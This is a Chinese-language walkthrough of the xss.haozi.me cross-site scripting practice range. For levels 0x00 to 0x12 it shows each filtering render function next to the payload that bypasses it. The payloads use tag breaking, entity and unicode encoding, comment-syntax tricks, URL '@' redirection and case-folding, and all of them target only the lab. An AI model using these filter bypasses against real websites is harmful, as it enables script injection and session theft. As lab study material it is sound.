xss.haozi.me 練習


引言

  • 最近打算好好練習一下基礎的技能,所以在閑余之暇,花一點時間做做靶場練習
  • 先打算從比較方便的可以在線的練習開始,所以並沒有用最常用的DVWA,而就直接用的在線的這個xss靶場開始
  • 此文僅是用來記錄我自己的學習心得,有寫得不好的地方,望大家見諒

靶場地址

0x00-0x05

0x00

服務端代碼:
function render (input) {
  return '<div>' + input + '</div>'
}
  • 服務端並未有任何過濾,直接使用最常規的<script>alert(1)</script>即可完成
    xss

0x01

服務端代碼:
function render (input) {
  return '<textarea>' + input + '</textarea>'
}
  • 服務端仍然沒有進行過濾,只是這次的輸出並不是直接輸出,而是加入在textarea中,所以現將其閉合在輸出即可
  • 對於<textarea>標簽,如果直接在其中寫入html代碼的話也是不能直接被執行的, 僅僅將其作為普通文本顯示,但當我們現將其進行閉合后,再寫入腳本就可以執行了
  • 故最終payload: </textarea><script>alert(1)</script><textarea>
  • 注:<textarea><script>alert(1)</script></textarea>這樣直接將script寫入textarea中而未先去閉合標簽,只會被當作普通文本處理
    xss

0x02

服務端代碼
function render (input) {
  return '<input type="name" value="' + input + '">'
}
  • 這次可以看到輸出被賦給了value,我們要做的也還是要將其先閉合,然后再輸入腳本
  • "><"<script>alert(1)</script>>
    xss

0x03

服務端代碼:
function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}
  • 這關開始有了過濾的操作,我們這里就要開始嘗試繞過過濾,先看一下這個正則/[()]/g,即全局匹配小括號,而后再將其換成空,所以我們就要想辦法繞過小括號過濾,通過查找資料發現一個叫模板字符串的可以繞過js的這種過濾
  • payload: <script>alert`1`</script>
  • 對於所謂的模板字符串即允許嵌入表達式的字符串字面量。可以使用多行字符串和字符串插值功能。
    1、模板字符串使用反引號 (``) 來代替普通字符串中的用雙引號和單引號。
    2、模板字符串可以包含特定語法(${expression})的占位符。占位符中的表達式和周圍的文本會一起傳遞給一個默認函數,該函數負責將所有的部分連接起來,如果一個模板字符串由表達式開頭,則該字符串被稱為帶標簽的模板字符串,該表達式通常是一個函數,它會在模板字符串處理后被調用,在輸出最終結果前,你都可以通過該函數來對模板字符串進行操作處理。
    3、在模版字符串內使用反引號(`)時,需要在它前面加轉義符(\)。
    xss

0x04

服務端代碼:
function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}
  • 這關可以看到他已經了解到我們上一關所使用的繞過方法,所以這里他是將反引號也給一起過濾了,所以我們這里就無法使用像上一關一樣的方法,所以就要尋找新的方法,可使用<svg>html編碼來繞過
  • <svg>標簽中可以直接執行html實體編碼字符,由於小括號還是被過濾,我們這里只好現將其進行html編碼后,再讓<svg>標簽直接執行html實體編碼字符以實現最終彈窗
  • 最終payload:<svg><script>alert&#40;1&#41;</script>
    xss

0x05

服務端代碼:
function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}
  • 此關是對於注釋符進行過濾,所以要嘗試對注釋符進行繞過,對於html的注釋符有兩種寫法,一種不對稱的<!-- -->和另一種對稱的<!-- --!>,所以這里可以使用對稱的注釋符
  • 故最終的payload:--!><script>alert(1)</script>
    xss

0x06-0x0A

0x06

服務端代碼:
function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}
  • 此關是將所有以auto或者on開頭的且以=>結尾的屬性替換成_后直接輸出,且匹配是不考慮大小寫
  • 這里查到可以使用換行符來繞過,因為Javascript通常以分號結尾,如果解析引擎能確定一個語句時完整的,且行尾有換行符,則分號可省略,而如果不是完整的語句,javascript則會繼續處理,直到語句完整結束或分號
payload: type="image" src="xxx" onerror

="alert(1)"

xss

0x07

服務端代碼:
function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}
  • 此關是對於以</開頭后接任意0個或1個非>字符且以>結尾的字符串進行過濾,且不考慮大小寫,即過濾了以<>包裹的標簽
  • 由於html的容錯性很高,對於標簽不閉合也可以接受(網上說這只是html4時的無尾標簽特性,而html5時就將其去除了,不知道為啥這里還能執行成功),這里就直接使用不閉合的語句就能成功彈窗
  • payload : <img src="xxx" onerror="alert(1)"
    xss

0x08

服務端代碼:
function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}
  • </style>標簽過濾了,替換成了/* 壞人 */unicode
  • 這里可以使用空格、換行、制表符來繞過
payload:
</style
><img src="xxx" onerror="alert(1)"

xss

0x09

服務端代碼:
function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}
  • 此關首先是要匹配輸入一個指定的url,然后就是嘗試將其閉合即可,所有輸入都是在引號之內的,所以要讓彈窗成功,就要嘗試先閉合引號
  • 最終payload:https://www.segmentfault.com/><""img src="xxx"onerror=alert(1)>
    xss

0x0A

服務端代碼:
function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}
  • 此關相較於上一關,也是要去輸入一個指定的url,不過這次對其中的一些符號進行了編碼,將&,',",<,>,/換成了其對應的html編碼
  • 原本想看能不能用svg先解碼,發現不行,於是看了題解,說可以利用url@特性,引入外部js
  • 對於url@特性,對於www.baidu.com@www.qq.com他最終訪問的會是QQ,類似一個跳轉
  • payload : https://www.segmentfault.com@xss.haozi.me/j.js,這里使用的網上流傳的答案,使用的是作者自己寫的js,額,但是不知道為什么沒能彈窗
    xss

0x0B-0x0F

0x0B

服務端代碼:
function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}
  • 此關使用toUpperCase函數對於輸入進行了轉成大寫的操作
  • 對於大小寫的問題,html 標簽, 域名 不區分大小寫,path部分區分大小寫。
  • 按照官方的題解還是通過去引用外部的js來繞過大小寫的限制,讓evil服務器返回J.JS就可以,但是用官方的那個js仍然出現不能彈窗的情況,官方題解:<script src="https://www.segmentfault.com.haozi.me/j.js"></script>
  • 后來看到網上說使用uniocde編碼也可以解決繞過大小寫,因為js解析器在工作時回對unicode先進行解碼,例如這里會被先解析成alert(1)從而實現彈窗
  • htmlunicode編碼格式:&#編碼的十進制數值,一般的格式還有直接\u開頭的16進制四位編碼,一定是四位,否則報錯
  • 附上payload:<img src="x" onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
    xss

0x0C

服務端代碼:
function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}
  • 此關比上一關對了一層過濾,即將script替換為空,且不論大小寫
  • 同樣的還是可以使用上一關中官方的題解給的js,只不過要繞過script,可以通過雙寫來繞過<scrscriptipt>,但是js還是用不了|(*′口`)
  • 此外使用unicode貌似不能解決了
  • 官方payload: <scscriptript src="https://www.segmentfault.com.haozi.me/j.js"></scscriptript>
    xss

0x0D

服務端代碼:
function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}
  • 此關是對於輸入的< / " '等進行了過濾,將其轉換成空,並且在輸入處進行了單行注釋,這里可以通過使用換行符進行繞過,但換行僅能過單行注釋,代碼還是不能正常運行,這里可使用html注釋
    -->來注釋后面的js,使代碼正常運行
  • 對於這里使用html的注釋符也能閉合js單行注釋,查了一下,發現說對於那些不支持JavaScript的瀏覽器會把腳本作為頁面的內容來顯示;為了防止這種情況發生,我們可以使用這樣的HTML注釋標簽
<!--
document.write("Hello World!");
//-->
  • 可以看到這里就是使用了html標簽閉合的js,對於<!---->都可以在htmlscript標簽里單獨使用進行單行注釋,這里<被過濾了,所以使用-->
payload:

alert(1)
-->

xss

0x0E

服務端代碼:
function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}
  • 此關對於所有以<開頭的加任意大小寫字符的進行替換為<_且再將所有小寫字母換成大寫
  • 這里參考官方題解后學到了一些騷操作,對於ſ 古英語中的s的寫法, 轉成大寫是正常的S,從而可以繞過<script>限制,再就還是用外鏈的方式加載外部js,同樣還是沒能彈窗
  • 官方題解:<ſcript src="https://xss.haozi.me/j.js"></script>
    xss

0x0F

服務端代碼:
function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
  • 此關還是對於輸入的一些符號進行了編碼操作,但對html inline js 轉義就是做無用功,瀏覽器會先解析html, 然后再解析js
  • 但是由於輸入信息是在img標簽內,所以html實體編碼是可以被直接解析的,所以閉合前面的標簽,在構造語句即可,這里onerror后面用分號閉合后感覺類型堆疊執行一樣,尚未弄清原理。
  • payload:');alert('1
    xss

0x10-0x12

0x10

服務端代碼:
function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}
  • 這關直接將輸入賦給window.data,而window是瀏覽器的窗口,且這里沒有做過濾,所以直接先閉合語句,再賦值alert(1),此外直接賦值alert(1)也可以
payload 1: '';alert(1)
payload 2: alert(1)

xss

0x11

服務端代碼:
// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}
  • 此關過濾了一堆字符,在其前多加了一個反斜號,這種情況我們就可以利用替換后的字符構造語句。
  • "被轉義成\"正好可以閉合console.log("\"),而后使用分號閉合語句后就可嘗試構造彈窗語句,然后//注釋后面的字符
  • 此外除了用注釋符注釋后面語句,還可以用引號包裹alert所要彈出內容讓其與后面引號匹配
payload1 : ");alert(1)//
payload2 : ");alert("1

xss1
xss2

0x12

服務端代碼:
// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}
  • 首先是將"替換為\\",在是對於輸入使用單引號包裹
  • 這里我們還是可以使用轉義后的語句嘗試閉合和構造語句,先使用一個"會發現只是被替換成\",此時添進去的引號被沒有起到閉合的作用
    xss
  • 所以就要再多加一個\,使得其變成\\"這是轉義后的雙引號,他就可以起到閉合的作用了,但此時還未能是括號閉合所以還要寫成\")才能完成前面語句閉合。
    xss
  • 閉合好前面語句后,由於這里沒有其他過濾操作了,所以在使用分號分隔兩句之后就可以直接使用語句彈窗\");alert(1)
    xss
  • 但是這里會發現在語句的最后還多了一開始的"),這里直接注釋掉即可
  • 所以最終payload: \");alert(1)//
    xss

小結

  • 至此這個靶場所有的xss練習就完成了,一共花了大約三個晚上,每晚1小時左右,此次練習對於一些xss的一些過濾手段有了更深的理解,掌握了不少繞過的技巧,其中遇到的一些姿勢也盡可能的去找了一下其實現原理,做到知其然而知其所以然,對於比較繞的(個人覺得比較難的關卡),也把自己完成的步驟記錄了下來,有解釋的不准確的地方也希望各位小伙伴們能不吝指教
  • 好了,這一階段的練習也到此結束,后面再看看在復習之余多多磨練自己的技術。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM